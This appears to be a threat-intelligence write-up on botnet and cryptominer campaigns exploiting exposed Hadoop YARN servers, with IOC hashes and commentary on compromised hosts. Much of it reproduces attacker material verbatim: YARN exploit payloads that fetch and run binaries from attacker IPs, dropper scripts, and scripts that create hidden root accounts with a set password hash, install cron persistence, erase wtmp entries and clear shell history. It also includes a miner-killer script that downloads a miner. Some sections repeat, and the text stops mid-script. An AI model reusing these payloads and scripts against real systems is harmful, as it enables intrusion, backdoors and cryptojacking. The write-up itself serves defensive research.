106dc7d4f44c1077b62c6d509ce471c79e27ffc7369d6418ddafed861c0f93be YSDKOP.arm4
dd62d3b51b194729f7270c590f647d08a1cbc6af8ecf0b92a98dc3e330fe304a YSDKOP.arm5
3fb0dd65608b93034e212ad85e660f6bc25a5df896410e0c6b9c411e56faac55 YSDKOP.arm6
74f8d9c9d91f87aa7f092efa6b12a4c9dfff492eb54f12d6e35e8bf3e96eacff YSDKOP.arm7
a36dff7844715c796de80f26b9dd4470de8cbc6c941499b6a94c048afd567316 YSDKOP.i586
7caed4bafe6c964c090d78f93e7eb7943bb19575532f19e70a87cfe2943d1621 YSDKOP.i686
dd8163a99b5cdd3e591213c64ad48e25d594f4b7ab9802cd7c60f3150a9e71f9 YSDKOP.m68k
67e85c8b24c3e382a1d83245d1c77f6b8b5f0b19be36fd8fb06f1cb42d07dad5 YSDKOP.mips
8b2407226356487558a26aba967befd48df53a5f53fd23b300f22b4dc9abe293 YSDKOP.mpsl
b94176a7448aa8ea0c961bc69371778828f3ab5665b14cc235f8413d8bf86386 YSDKOP.ppc
a96e07c8dc42eb05fa21069bb14391ee4241d1ccd9289c52cb273ffb7ecd3891 YSDKOP.sh4
43e445b0c644d52129c47154cd6bcdea7192d680cc3d2e8165b904c54ddd6fc2 YSDKOP.sparc
39f2b2c68362a347aad0942853d0262acec1e2f4174ba973b0c574f4567cb893 YSDKOP.x86

Supra, DemonBot-ng

Infecting through the Hadoop YARN exploit payload below:

 {"am-container-spec": {"commands": {"command": "cd /tmp; rm -rf *; wget http://80.211.59.125/n; sh n"}}, "application-id": "application_XXXXXXXXXXXXX_XXXX", "application-type": "YARN", "application-name": "get-shell"}

The downloaded script ‘n’ contains code to download two binaries, one 32bit x86 and one 64bit x86:

 $ cat n
#!/bin/sh
n="Supra.x86 Supra.x86_64"
http_server="80.211.59.125" 
dirs="/tmp/ /var/ /dev/shm/ /dev/ /var/run/ /var/tmp/"
 
for dir in $dirs
do
    >$dir.file && cd $dir
done 
 
for i in $n
do
    cp $SHELL $i
    >$i
    chmod 777 $i
    wget http://$http_server/$i -O $i
    chmod 777 $i
    ./$i
done

Looking at the strings of the downloaded ‘Supra.x86_64’ binary, we see a close match with those of DemonBot, as do the decorated names in the unstripped binary.

 $ strings Supra.x86_64
…
80.211.59.125:434
8.8.8.8
/proc/net/route
…
x86_64
Linux
/usr/bin/apt-get
Ubuntu/Debian
/usr/lib/portage
Gentoo
/usr/bin/yum
RHEL/CentOS
/usr/share/YaST2
OpenSUSE
/etc/dropbear/
OpenWRT
/etc/opkg
UNKNOWN
/etc/ssh/
Dropbear
/etc/xinet.d/telnet
Telnet
/usr/kerberos/bin/telnet
…
[1;37m[
[0;35mSupra
[1;37m]
[0;35m-->
[1;37m[
[0;35m%s
[1;37m]
[0;35m-->
[1;37m[
[0;35m%s
[1;37m]
[0;35m-->
[1;37m[
[0;35m%s
[1;37m]
[0;35m-->
[1;37m[
[0;35m%s
[1;37m]
[0;35m-->
[1;37m[
[0;35m%s
[1;37m]
…
GCC: (GNU) 4.2.1   
…

Note the very similar string as previously discovered in the DemonBot source code, but this time with ‘Supra’ instead of ‘shelling’ in the first square brackets:

 [Supra]-->[%s]-->[%s]-->[%s]-->[%s]-->[%s] 

The new binary also contains indicators of an extension in the platform detection code. The original DemonBot checked for two platforms

Ubuntu/Debian, based on the existence of /usr/bin/apt-get, and
RHEL/Centos, based on the existence of /usr/bin/yum

Supra adds to the above two:
Gentoo:          /usr/lib/portage
OpenSUSE:    /usr/share/YaST2
OpenWRT:     /etc/dropbear
UNKNOWN:   /etc/opkg
Dropbear:      /etc/ssh/
Telnet:           /etc/xinet.d/telnet

The compile version used for this DemonBot version is identical to the original DemonBot: GCC (GNU) 4.2.1.

Hoho, a Botnet by Greek.Helios

Hadoop YARN exploit payload:

 {"am-container-spec": {"commands": {"command": "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://68.183.96.48/bins/hoho.x86 -O /tmp/flex; chmod +x /tmp/flex; /tmp/flex servers"}}, "application-id": "application_XXXXXXXXXXXXX_XXXX", "application-type": "YARN", "application-name": "get-shell"} 

The binaries first appeared on the server on Oct 30, 2018:

The hoho.x86 binary contains the literal string: Botnet Made By greek.Helios

The binary is packed with the UPX executable packer and matches mostly Mirai code.

IOC
7812fc4e894712845559193bd2b9cc88391b0a6691906124846cbaf73eb67b73 hoho.arm
622dd9dc905a14d881ce07227252f5086ba3b7afca88b913ece0bcfb4444b41b hoho.arm5
b9e0cce5412c1cb64f6e53493c8263f5e0d56e6e217ea4d94e401bf2da6d8c60 hoho.arm6
7050cb141e5eb0a8236639e0d9f2cc9bca63f2c3984b3ea8e30400984d24cfe6 hoho.arm7
4ce21713f20624ea5ba9eec606c53b7d9c38c2d72abf4043f509c81326bbdb1d hoho.m68k
485ecbe80f8f98b032af80cf32bb26d49e1071c75b25f6e306e37856f1446d38 hoho.mips
a599bf6697062d3358b848db40399feafd65931834acc9228f97dc27aa7fa4bb hoho.mpsl
456b31214698f894e8f4eb4aa01a34305c713df526fd33db74b58f440e59a863 hoho.ppc
e0a56e2ea529991933c38fc8159374c8821fdb57fe5622c2cf8b5ad7798bbc02 hoho.sh4
da53b60354c3565a9954cbaa0e1b6d7146d56890ee10cd0745b5787298db97a7 hoho.spc
9f4f93667e4892ca84a45981caafb4a39eabdc2f6c257f0dc2df04c73f1bf0a4 hoho.x86

prax0zma.ru

This campaign consists of a set of shell scripts which deletes system and other user accounts from a compromised server and creates two backdoor accounts with root privileges.

The backdoor account user names are ‘VM’ and ‘localhost’ and both have their password set to the hash ‘$1$OwJj0Fjv$RmdaYLph3xpxhxxfPBe8S1’.

http://prax0zma.ru/8.sh
$ cat 8.sh
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/5 * * * * curl -fsSL http://prax0zma.ru/8.sh | sh" > /var/spool/cron/root
echo "*/5 * * * * wget -q -O- http://prax0zma.ru/8.sh | sh" >> /var/spool/cron/root
#echo "0 * * * * pkill -9 r" >> /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL http://prax0zma.ru/8.sh | /bin/sh" > /var/spool/cron/crontabs/root
echo "*/5 * * * * wget -q -O- http://prax0zma.ru/8.sh | /bin/sh" >> /var/spool/cron/crontabs/root
#echo "0 * * * * pkill -9 r" >> /var/spool/cron/crontabs/root

cd /boot ; wget -q http://hehe.suckmyass.cf/.o -O .b; chmod +x .b; nohup ./.b  >/dev/null 2>&1
cd /boot ; curl -O http://hehe.suckmyass.cf/.o ; chmod +x .o; nohup ./.o  >/dev/null 2>&1
#cd /tmp ; curl -O http://sandbotc2.ml/fefe | wget -q http://sandbotc2.ml/fefe ; chmod +x fefe; ./fefe ; rm -rf fefe*; >/dev/null 2>&1
echo 128 > /proc/sys/vm/nr_hugepages
sysctl -w vm.nr_hugepages=128
    ulimit -n 65000
    ulimit -u 65000

mkdir -p /tmp/.ha/

if [ ! -f "/tmp/.ha/nsyhs" ]; then
    curl -fsSL http://prax0zma.ru/bash -o /tmp/.ha/nsyhs
fi

if [ ! -f "/tmp/.ha/nsyhs" ]; then
    wget -q http://prax0zma.ru/bash -O /tmp/.ha/nsyhs
fi

chmod +x /tmp/.ha/nsyhs && /tmp/.ha/nsyhs
http://hehe.suckmyass.cf/.o 
$ cat .o
cd /boot ; wget -q http://r00ts.truthdealmodz.pw/.i -O .0; chmod +x .0; nohup ./.0  >/dev/null 2>&1 ; rm -rf .0
cd /boot ; curl -O http://r00ts.truthdealmodz.pw/.i ; chmod +x .i; nohup ./.i  >/dev/null 2>&1 ; rm -rf .i
userdel -f bash >/dev/null 2>&1
userdel -f ssh >/dev/null 2>&1
userdel -f butter >/dev/null 2>&1
userdel -f r00t >/dev/null 2>&1
userdel -f axiga >/dev/null 2>&1
userdel -f cats >/dev/null 2>&1
userdel -f python >/dev/null 2>&1
userdel -f Word >/dev/null 2>&1
userdel -f fxmeless >/dev/null 2>&1
userdel -f yandex >/dev/null 2>&1
userdel -f synx >/dev/null 2>&1
userdel -f syncs >/dev/null 2>&1
userdel -f oracles >/dev/null 2>&1
userdel -f cubes >/dev/null 2>&1
userdel -f wwww >/dev/null 2>&1
userdel -f http  >/dev/null 2>&1
userdel -f R00T  >/dev/null 2>&1
userdel -f z  >/dev/null 2>&1
userdel -f r000t  >/dev/null 2>&1
userdel -f ssshd  >/dev/null 2>&1
userdel -f vps  >/dev/null 2>&1
userdel -f Duck >/dev/null 2>&1
userdel -f x >/dev/null 2>&1
userdel -f redisserver >/dev/null 2>&1
userdel -f admins >/dev/null 2>&1
userdel -f halts >/dev/null 2>&1
useradd -u 0 -g 0 -o -l -d /root -N -M -p '$1$OwJj0Fjv$RmdaYLph3xpxhxxfPBe8S1' VM >/dev/null 2>&1
useradd -u 0 -g 0 -o -l -d /root -N -M -p '$1$OwJj0Fjv$RmdaYLph3xpxhxxfPBe8S1' localhost >/dev/null 2>&1
#rm -rf /tmp/.*
rm -rf /var/tmp/.z
rm -rf /tmp/.FILE
rm -rf /tmp/.xm
rm -rf /tmp/.iokb21
rm -rf /tmp/.bzc bzc.tgz*
rm -rf /var/tmp/.xm.log
pkill -9 56545
pkill -9 Word
pkill -9 "  "
pkill -9 xds
pkill -9 httpd.conf
pkill -9 yam
pkill -9 xd
pkill -9 .syslog
pkill -9 wipefs
pkill -9 " "
pkill -9 auditd
pkill -9 crondb
pkill -9 syn
pkill -9 xnetd
pkill -9 ld-linux-x86-64
pkill -9 xm64
pkill -9 xm32
pkill -9 kthreadd
pkill -9 watchdogs
pkill -9 xmrig64
pkill -9 xig
pkill -9 ps
pkill -9 minerd
pkill -9 smh64
pkill -9 system.usermn
pkill -9 skrt
pkill -9 .xm.log
pkill -9 zjgw
pkill -9 SSHer
pkill -9 SSher
pkill -9 xm
pkill -f ld-linux-x86-64
pkill -f xm64
pkill -f xm32
pkill -f xig
pkill -f minerd
pkill -f ps
pkill -f .xm
/etc/init.d/crond start
service crond start
iptables -I INPUT -s 185.234.217.11 -j DROP
iptables -A INPUT -s 185.234.217.11 -j REJECT cd /boot ; wget -q http://hehe.suckmyass.cf/.o -O .b; chmod +x .b; nohup ./.b  >/dev/null 2>&1
cd /boot ; curl -O http://hehe.suckmyass.cf/.o ; chmod +x .o; nohup ./.o  >/dev/null 2>&1
#cd /tmp ; curl -O http://sandbotc2.ml/fefe | wget -q http://sandbotc2.ml/fefe ; chmod +x fefe; ./fefe ; rm -rf fefe*; >/dev/null 2>&1
echo 128 > /proc/sys/vm/nr_hugepages
sysctl -w vm.nr_hugepages=128
    ulimit -n 65000
    ulimit -u 65000

mkdir -p /tmp/.ha/

if [ ! -f "/tmp/.ha/nsyhs" ]; then
    curl -fsSL http://prax0zma.ru/bash -o /tmp/.ha/nsyhs
fi

if [ ! -f "/tmp/.ha/nsyhs" ]; then
    wget -q http://prax0zma.ru/bash -O /tmp/.ha/nsyhs
fi

chmod +x /tmp/.ha/nsyhs && /tmp/.ha/nsyhs
http://r00ts.truthdealmodz.pw/.i 
$ cat .i
#!/bin/bash

useradd -u 0 -g 0 -o -l -d /root -M -p '$1$OwJj0Fjv$RmdaYLph3xpxhxxfPBe8S1' localhost >/dev/null 2>&1
useradd -u 0 -g 0 -o -l -d /root -M -p '$1$OwJj0Fjv$RmdaYLph3xpxhxxfPBe8S1' VM >/dev/null 2>&1
useradd -u 0 -g 0 -o -l -d /root -N -M -p '$1$OwJj0Fjv$RmdaYLph3xpxhxxfPBe8S1' localhost >/dev/null 2>&1
useradd -u 0 -g 0 -o -l -d /root -N -M -p '$1$OwJj0Fjv$RmdaYLph3xpxhxxfPBe8S1' VM >/dev/null 2>&1
echo -e '#!/bin/sh\n\nwget --quiet http://r00ts.truthdealmodz.pw/.o -O- 3>/dev/null|sh>/dev/null 2>&1' > /etc/cron.hourly/0;chmod +x /etc/cron.hourly/0;

echo -e '#!/bin/sh\n\nwget --quiet http://r00ts.truthdealmodz.pw/.o -O- 3>/dev/null|sh>/dev/null 2>&1' > /etc/cron.daily/0;chmod +x /etc/cron.daily/0;

echo -e '#!/bin/sh\n\nwget --quiet http://r00ts.truthdealmodz.pw/.o -O- 3>/dev/null|sh>/dev/null 2>&1' > /etc/cron.weekly/0;chmod +x /etc/cron.weekly/0;

echo -e '#!/bin/sh\n\nwget --quiet http://r00ts.truthdealmodz.pw/.o -O- 3>/dev/null|sh>/dev/null 2>&1' > /etc/cron.monthly/0;chmod 777 /etc/cron.monthly/0;

echo -e '#!/bin/sh\n\nwget --quiet http://r00ts.truthdealmodz.pw/.o -O- 3>/dev/null|sh>/dev/null 2>&1' > /etc/rc.local;chmod +x /etc/rc.local;
head -c -384 /var/log/wtmp > .wtmp; mv .wtmp /var/log/wtmp; chmod 664 /var/log/wtmp; chown root:utmp /var/log/wtmp; chmod 777 /etc/cron.*/* ;
history -c;
unset history;history -w

A Malware Zoo

The Hadoop YARN exploits in table (*1) provided for a real Linux IoT malware zoo – most of the binaries are Mirai- related – not to our surprise…

Links that are still active:

http://167.88.161.40/yarn.x86
  2eab746dea07b3b27fb6582ee100a7ee732d7980012652da6d705f4e90c4196b  yarn.x86
http://185.244.25.150/bins/otaku.x86
  34ee8efb22814660dd7d2a4d1219b73fd1a2c4ba63ef99020f135980551419b5  otaku.x86
http://185.244.25.163/8x868
  a5beb685f7847009485b94cc7f91eb16254ccd681c60cec5928f5a22c23acb55  8x868
http://185.244.25.222/x86
  4b18997cc8fa26092d3b6de7fce637a4bc80a9c35997248035208144108c6ebd  x86
http://185.244.25.251/x86
  33f54d0afccfdc0a8b0428d7a1fca20079fe760b21e3750e31a8cba1b862e104  x86
http://167.99.51.231/x86
  83777b500163259e9e1b7a4801b5c3ad48708511b1c2b7573e344985011396c6  x86
http://46.17.47.198/bins/kowai.x86 
  1a447b4e33474e693517a5a1b26e18c5a0dc8de3e92b57f2402f098218327c60  kowai.x86

http://94.177.231.48/sh
$ cat sh
#!/bin/sh

binarys="mips mpsl arm arm5 arm6 arm7 sh4 ppc x86 arc"
server_ip="94.177.231.48"
binname="miori"
execname="loliloli"

for arch in $binarys
do
    cd /tmp
    wget http://$server_ip/$binname.$arch -O $execname
	#tftp -g -l $execname -r $binname.$arch $server_ip
	chmod 777 $execname
    ./$execname
	rm -rf $execname
done
$ wget http://94.177.231.48/miori.x86 

8e7e65105dfa629d695f63c41378f9f10112641a8f5bb9987b1a69b2c7336254  miori.x86

http://46.29.165.143/fearless.sh
#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessntpd; chmod +x fearlessntpd; ./fearlessntpd; rm -rf fearlessntpd
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesssshd; chmod +x fearlesssshd; ./fearlesssshd; rm -rf fearlesssshd
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessopenssh; chmod +x fearlessopenssh; ./fearlessopenssh; rm -rf fearlessopenssh
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessbash; chmod +x fearlessbash; ./fearlessbash; rm -rf fearlessbash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesstftp; chmod +x fearlesstftp; ./fearlesstftp; rm -rf fearlesstftp
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesswget; chmod +x fearlesswget; ./fearlesswget; rm -rf fearlesswget
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesscron; chmod +x fearlesscron; ./fearlesscron; rm -rf fearlesscron
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessftp; chmod +x fearlessftp; ./fearlessftp; rm -rf fearlessftp
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesspftp; chmod +x fearlesspftp; ./fearlesspftp; rm -rf fearlesspftp
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesssh; chmod +x fearlesssh; ./fearlesssh; rm -rf fearlesssh
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessshit; chmod +x fearlessshit; ./fearlessshit; rm -rf fearlessshit
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessapache2; chmod +x fearlessapache2; ./fearlessapache2; rm -rf fearlessapache2
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesstelnetd; chmod +x fearlesstelnetd; ./fearlesstelnetd; rm -rf fearlesstelnetd

$ file fearlessapache2 
fearlessapache2: ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped

47ace06c5f36937a6d5f4369ea1980a91f570a6d9d9b144e7f5b3f4006316f57  fearlessapache2

http://167.88.161.40/yarn.x86
2eab746dea07b3b27fb6582ee100a7ee732d7980012652da6d705f4e90c4196b yarn.x86
http://185.244.25.150/bins/otaku.x86
34ee8efb22814660dd7d2a4d1219b73fd1a2c4ba63ef99020f135980551419b5 otaku.x86
http://185.244.25.163/8x868
a5beb685f7847009485b94cc7f91eb16254ccd681c60cec5928f5a22c23acb55 8x868
http://185.244.25.222/x86
4b18997cc8fa26092d3b6de7fce637a4bc80a9c35997248035208144108c6ebd x86
http://185.244.25.251/x86
33f54d0afccfdc0a8b0428d7a1fca20079fe760b21e3750e31a8cba1b862e104 x86
http://167.99.51.231/x86
83777b500163259e9e1b7a4801b5c3ad48708511b1c2b7573e344985011396c6 x86
http://46.17.47.198/bins/kowai.x86
1a447b4e33474e693517a5a1b26e18c5a0dc8de3e92b57f2402f098218327c60 kowai.x86
http://94.177.231.48/sh
$ cat sh
#!/bin/sh

binarys="mips mpsl arm arm5 arm6 arm7 sh4 ppc x86 arc"
server_ip="94.177.231.48"
binname="miori"
execname="loliloli"

for arch in $binarys
do
    cd /tmp
    wget http://$server_ip/$binname.$arch -O $execname
	#tftp -g -l $execname -r $binname.$arch $server_ip
	chmod 777 $execname
    ./$execname
	rm -rf $execname
done
$ wget http://94.177.231.48/miori.x86 

8e7e65105dfa629d695f63c41378f9f10112641a8f5bb9987b1a69b2c7336254  miori.x86

http://46.29.165.143/fearless.sh
#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessntpd; chmod +x fearlessntpd; ./fearlessntpd; rm -rf fearlessntpd
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesssshd; chmod +x fearlesssshd; ./fearlesssshd; rm -rf fearlesssshd
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessopenssh; chmod +x fearlessopenssh; ./fearlessopenssh; rm -rf fearlessopenssh
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessbash; chmod +x fearlessbash; ./fearlessbash; rm -rf fearlessbash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesstftp; chmod +x fearlesstftp; ./fearlesstftp; rm -rf fearlesstftp
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesswget; chmod +x fearlesswget; ./fearlesswget; rm -rf fearlesswget
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesscron; chmod +x fearlesscron; ./fearlesscron; rm -rf fearlesscron
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessftp; chmod +x fearlessftp; ./fearlessftp; rm -rf fearlessftp
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesspftp; chmod +x fearlesspftp; ./fearlesspftp; rm -rf fearlesspftp
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesssh; chmod +x fearlesssh; ./fearlesssh; rm -rf fearlesssh
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessshit; chmod +x fearlessshit; ./fearlessshit; rm -rf fearlessshit
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessapache2; chmod +x fearlessapache2; ./fearlessapache2; rm -rf fearlessapache2
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesstelnetd; chmod +x fearlesstelnetd; ./fearlesstelnetd; rm -rf fearlesstelnetd

$ file fearlessapache2 
fearlessapache2: ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped

47ace06c5f36937a6d5f4369ea1980a91f570a6d9d9b144e7f5b3f4006316f57  fearlessapache2

Links that are inactive as of this writing:

http://185.244.25.153/YSDKOP.x86 
http://68.183.96.48/bins/hoho.x86 
http://cnc.junoland.xyz/x86hua
http://194.147.35.63/bins/Kuran.x86
http://46.29.165.33/bins/kowai.x86 
http://167.88.161.40/bins/mydick 
http://188.138.100.8/ankit/jno.x86
http://67.205.128.131/oxy.x86
http://80.211.94.16/Nurasu.x86_64; 
http://46.36.37.121/weed.sh
http://142.93.152.247/8UsA.sh
</code/>

Compromised Servers

Knowing the exposed servers, we can assess the activity of that set of servers that were compromised by correlating the server IP with our global deception network activity. Less than 5% of the list of exposed servers overlapped with servers in our deception network and has been seen performing malicious activity. This 5% is not the full picture though, since there is convincing evidence of actors actively abusing the servers for mining cryptocurrencies and because there is no scanning or exploiting activity, these servers do not show up in our deception network. The amount of compromised servers from the potential 1065 is still an unknown, but it is safe to say that at some point, all of those will fall–or have already fallen–victim to malicious activities.

The below graph shows the activity per port of known compromised servers. The activities target TCP ports 23, 2323, 22, and 2222 which are representative for your run-of-the-mill IoT exploits through telnet and SSH credential brute forcing. The other notorious port 5555 is known for TR069 and ADB exploits on IoT vulnerable devices. In the past 7 days, we witnessed an increased scanning activity targeting port 23.

This Mirai-like port 23 scanning behavior was mostly originating from a single server, good for over 35,000 scanning events during the last 7 days. The other compromised servers were good for a couple of events during limited time ranges.

In terms of regional targeting by compromised servers, Germany took most of the hits.

When…Not If

Although there is clear evidence of DDoS capable botnets attempting to compromise Hadoop YARN exposed servers, there was no immediate evidence of DDoS activity by the compromised servers. This does not eliminate the possibility and potential of DDoS attacks, however. The attack surface is just a little over 1065 servers. Compared to IoT botnets, who can run in the hundreds of thousands of devices, this seems of little threat. However, Hadoop (and cloud servers in general) provides much better connectivity and far more compute resources compared to IoT devices; only a few of these servers in a botnet can cause severe disruption to online businesses.

For those that are operating Hadoop clusters, a publicly exposed YARN service can and will at some point be exploited and abused for cryptomining. Besides affecting stability and performance, cloud servers with elastic compute resources can have an economic impact on the victim because of the surge in resource utilization.

Do note that you cannot get away with publicly exposed services, it is not a matter of IF but a matter of WHEN your service will be compromised and abused. In today’s Internet, cloud servers can perform full internet port scans in minutes, and application vulnerability scans in less than a day. For those of you who are not convinced yet, pay a visit to one of the (IoT) search engines such as https://shodan.io or https://fofa.so, who on a daily basis scan and scrape internet connected devices. Just type ‘jetty’ in the search field of those search engines and witness how many servers are indexed and easily discovered within seconds.

(*1) Hadoop YARN Exploits

(*2) zz.sh script

#!/bin/bash
pkill -f donate
pkill -f proxkekman
pkill -f 158.69.133.18
pkill -f 192.99.142.246
pkill -f test.conf
pkill -f /var/tmp/apple
pkill -f /var/tmp/big
pkill -f /var/tmp/small
pkill -f /var/tmp/cat
pkill -f /var/tmp/dog
pkill -f /var/tmp/mysql
pkill -f /var/tmp/sishen
pkill -f ubyx
pkill -f /var/tmp/mysql
rm -rf /var/tmp/mysql
ps ax | grep java.conf | grep bin | awk '{print $1}' | xargs kill -9
ps ax|grep "./noda\|./manager"|grep sh|grep -v grep | awk '{print $1}' | xargs kill -9
ps ax|grep "./no1"|grep -v grep | awk '{print $1}' | xargs kill -9
ps ax|grep "./uiiu"|grep -v grep | awk '{print $1}' | xargs kill -9
ps ax|grep "./noss"|grep -v grep | awk '{print $1}' | xargs kill -9
ps ax|grep "8220"|grep -v grep | awk '{print $1}' | xargs kill -9
pkill -f cpu.c
pkill -f tes.conf
pkill -f psping
ps ax | grep cs.c | grep bin | awk '{print $1}' | xargs kill -9
ps ax | grep -- "-c cs" | awk '{print $1}' | xargs kill -9
ps ax | grep -- "-c pcp" | awk '{print $1}' | xargs kill -9
ps ax | grep -- "-c omo" | awk '{print $1}' | xargs kill -9
pkill -f /var/tmp/java-c
pkill -f pscf
pkill -f cryptonight
pkill -f sustes
pkill -f xmrig
pkill -f xmr-stak
pkill -f suppoie
ps ax | grep "config.json -t" | grep -v grep | awk '{print $1}' | xargs kill -9
ps aux | grep "/lib/systemd/systemd" | awk '{if($3>20.0) print $2}' | xargs kill -9
ps ax | grep 'wc.conf\|wq.conf\|wm.conf\|wt.conf' | grep -v grep | grep 'ppl\|pscf\|ppc\|ppp' | awk '{print $1}' | xargs kill -9
rm -rf /var/tmp/pscf*
rm -rf /tmp/pscf*
pkill -f ririg
rm -rf /var/tmp/ntpd
pkill -f /var/tmp/ntpd
rm -rf /var/tmp/ntp
pkill -f /var/tmp/ntp
rm -rf /var/tmp/qq
rm -rf /var/tmp/qq1
pkill -f /var/tmp/qq
rm -rf /tmp/qq
rm -rf /tmp/qq1
pkill -f /tmp/qq
pkill -f /var/tmp/aa
rm -rf /var/tmp/aa
rm -rf /var/tmp/gg
rm -rf /var/tmp/gg1
pkill -f gg1.conf
rm -rf /var/tmp/hh
rm -rf /var/tmp/hh1
pkill -f hh1.conf
pkill -f apaqi
rm -rf /var/tmp/apaqi
pkill -f dajiba
rm -rf /var/tmp/dajiba
pkill -f /var/tmp/look
rm -rf /var/tmp/look
pkill -f /var/tmp/nginx
rm -rf /var/tmp/nginx
rm -rf /var/tmp/dd
rm -rf /var/tmp/dd1
rm -rf /var/tmp/apple
pkill -f dd1.conf
pkill -f kkk1.conf
pkill -f ttt1.conf
pkill -f ooo1.conf
pkill -f ppp1.conf
pkill -f lll1.conf
pkill -f yyy1.conf
pkill -f 1111.conf
pkill -f 2221.conf
pkill -f dk1.conf
pkill -f kd1.conf
pkill -f mao1.conf
pkill -f YB1.conf
pkill -f 2Ri1.conf
pkill -f 3Gu1.conf
pkill -f crant
DIR="/tmp"
if [ -a "/tmp/java" ]
then
if [ -w "/tmp/java" ] && [ ! -d "/tmp/java" ]
then
if [ -x "$(command -v md5sum)" ]
then
sum=$(md5sum /tmp/java | awk '{ print $1 }')
echo $sum
case $sum in
71849cde30470851d1b2342ba5a5136b | b00f4bbd82d2f5ec7c8152625684f853)
echo "Java OK"
;;
*)
echo "Java wrong"
rm -rf /tmp/java
pkill -f w.conf
sleep 4
;;
esac
fi
echo "P OK"
else
DIR=$(mktemp -d)/tmp
mkdir $DIR
echo "T DIR $DIR"
fi
else
if [ -d "/var/tmp" ]
then
DIR="/var/tmp"
fi
echo "P NOT EXISTS"
fi
if [ -d "/tmp/java" ]
then
DIR=$(mktemp -d)/tmp
mkdir $DIR
echo "T DIR $DIR"
fi
WGET="wget -O"
if [ -s /usr/bin/curl ];
then
WGET="curl -o";
fi
if [ -s /usr/bin/wget ];
then
WGET="wget -O";
fi
downloadIfNeed()
{
if [ -x "$(command -v md5sum)" ]
then
if [ ! -f $DIR/java ]; then
echo "File not found!"
download
fi
sum=$(md5sum $DIR/java | awk '{ print $1 }')
echo $sum
case $sum in
71849cde30470851d1b2342ba5a5136b | b00f4bbd82d2f5ec7c8152625684f853)
echo "Java OK"
;;
*)
echo "Java wrong"
sizeBefore=$(du $DIR/java)
if [ -s /usr/bin/curl ];
then
WGET="curl -k -o ";
fi
if [ -s /usr/bin/wget ];
then
WGET="wget --no-check-certificate -O ";
fi
echo "" > $DIR/tmp.txt
rm -rf $DIR/java
download
;;
esac
else
echo "No md5sum"
download
fi
}
download() {
if [ -x "$(command -v md5sum)" ]
then
sum=$(md5sum $DIR/pscf3 | awk '{ print $1 }')
echo $sum
case $sum in
71849cde30470851d1b2342ba5a5136b | b00f4bbd82d2f5ec7c8152625684f853)
echo "Java OK"
cp $DIR/pscf3 $DIR/java
;;
*)
echo "Java wrong"
download2
;;
esac
else
echo "No md5sum"
download2
fi
}
download2() {
$WGET $DIR/java https://bitbucket.org/zrundr42/mygit/raw/master/x_64
if [ -x "$(command -v md5sum)" ]
then
sum=$(md5sum $DIR/java | awk '{ print $1 }')
echo $sum
case $sum in
71849cde30470851d1b2342ba5a5136b | b00f4bbd82d2f5ec7c8152625684f853)
echo "Java OK"
cp $DIR/java $DIR/pscf3
;;
*)
echo "Java wrong"
;;
esac
else
echo "No md5sum"
fi
}
netstat -antp | grep '158.69.133.20\|192.99.142.249\|202.144.193.110\|192.99.142.225\|192.99.142.246\|46.4.200.177\|192.99.142.250\|46.4.200.179\|192.99.142.251\|46.4.200.178\|159.65.202.177\|185.92.223.190\|222.187.232.9\|78.46.89.102' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
if [ "$(netstat -ant|grep '158.69.133.20\|192.99.142.249\|202.144.193.110\|192.99.142.225\|192.99.142.246\|46.4.200.177\|192.99.142.250\|46.4.200.179\|192.99.142.251\|46.4.200.178\|159.65.202.177\|185.92.223.190\|222.187.232.9\|78.46.89.102'|grep 'ESTABLISHED'|grep -v grep)" ];
then
ps axf -o "pid %cpu" | awk '{if($2>=30.0) print $1}' | while read procid
do
kill -9 $procid
done
else
echo "Running"
fi
if [ ! "$(ps -fe|grep '/tmp/java'|grep 'w.conf'|grep -v grep)" ];
then
downloadIfNeed
chmod +x $DIR/java
$WGET $DIR/w.conf https://bitbucket.org/zrundr42/mygit/raw/master/w.conf
